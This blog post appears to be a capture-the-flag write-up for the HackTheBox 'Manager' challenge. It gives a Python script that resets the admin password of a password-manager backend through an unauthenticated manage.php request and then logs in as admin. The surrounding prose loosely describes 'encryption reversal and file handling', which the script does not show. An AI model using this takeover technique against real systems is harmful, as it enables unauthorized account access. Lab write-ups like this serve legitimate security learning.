Post

HackTheBox Manager Challenge

Explore the basics of cybersecurity in the Manager Challenge on Hack The Box. This easy-level Challenge introduces encryption reversal and file handling concepts in a clear and accessible way, perfect for beginners.

https://app.hackthebox.com/challenges/283

Description

A client asked me to perform security assessment on this password management application. Can you help me?

Exploitation

Use jadx-gui to decompile and look at the code.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import requests
from urllib.parse import urljoin
import sys

class ManagerApp:
    def __init__(self, base_url):
        self.base_url = base_url
        self.session = requests.Session()

    def login(self, username, password):
        url = urljoin(self.base_url, "login.php")
        data = {
            "username": username,
            "password": password
        }
        try:
            response = self.session.post(url, data=data)
            response.raise_for_status()
            print(f"Login response: {response.text}")
            return response.text
        except requests.exceptions.RequestException as e:
            print(f"Failed to log in: {e}")
            return None

    def register(self, username, password):
        url = urljoin(self.base_url, "register.php")
        data = {
            "username": username,
            "password": password
        }
        try:
            response = self.session.post(url, data=data)
            response.raise_for_status()
            print(f"Register response: {response.text}")
            return response.json()
        except requests.exceptions.RequestException as e:
            print(f"Failed to register: {e}")
            return None

    def update_password(self, username, new_password):
        url = urljoin(self.base_url, "manage.php")
        data = {
            "username": username,
            "password": new_password
        }
        try:
            response = self.session.post(url, data=data)
            response.raise_for_status()
            print(f"Password update response: {response.text}")
            return response.text
        except requests.exceptions.RequestException as e:
            print(f"Failed to update password: {e}")
            return None

    def get_user_info(self, user_id):
        url = urljoin(self.base_url, "manage.php")
        params = {
            "id": user_id
        }
        try:
            response = self.session.get(url, params=params)
            response.raise_for_status()
            print(f"User Info: {response.text}")
            return response.json()
        except requests.exceptions.RequestException as e:
            print(f"Failed to fetch user info: {e}")
            return None

if __name__ == "__main__":
    if len(sys.argv) != 2:
        print(f"Usage: python {sys.argv[0]} <ip:port>")
        sys.exit(1)
    base_url = f"http://{sys.argv[1]}/"
    manager = ManagerApp(base_url)
    manager.update_password("admin", "admin")
    login_response = manager.login("admin", "admin")
    if login_response:
        user_info = login_response
        print(f"User registered successfully: {user_info}")
    else:
        print("Registration failed.")

Summary

The Manager Challenge on Hack The Box is an easy-level challenge that introduces beginners to concepts such as encryption reversal and file handling within the context of a password management application. In this challenge, participants are tasked with performing a security assessment on the application by interacting with its login, registration, and password management functionalities. Using Python and the requests library, the solution involves sending HTTP requests to the application to simulate user actions like logging in, registering a new user, and updating a password. By exploiting potential vulnerabilities in the application, participants can uncover the flag, making this challenge a practical introduction to web application security.

This post is licensed under CC BY 4.0 by the author.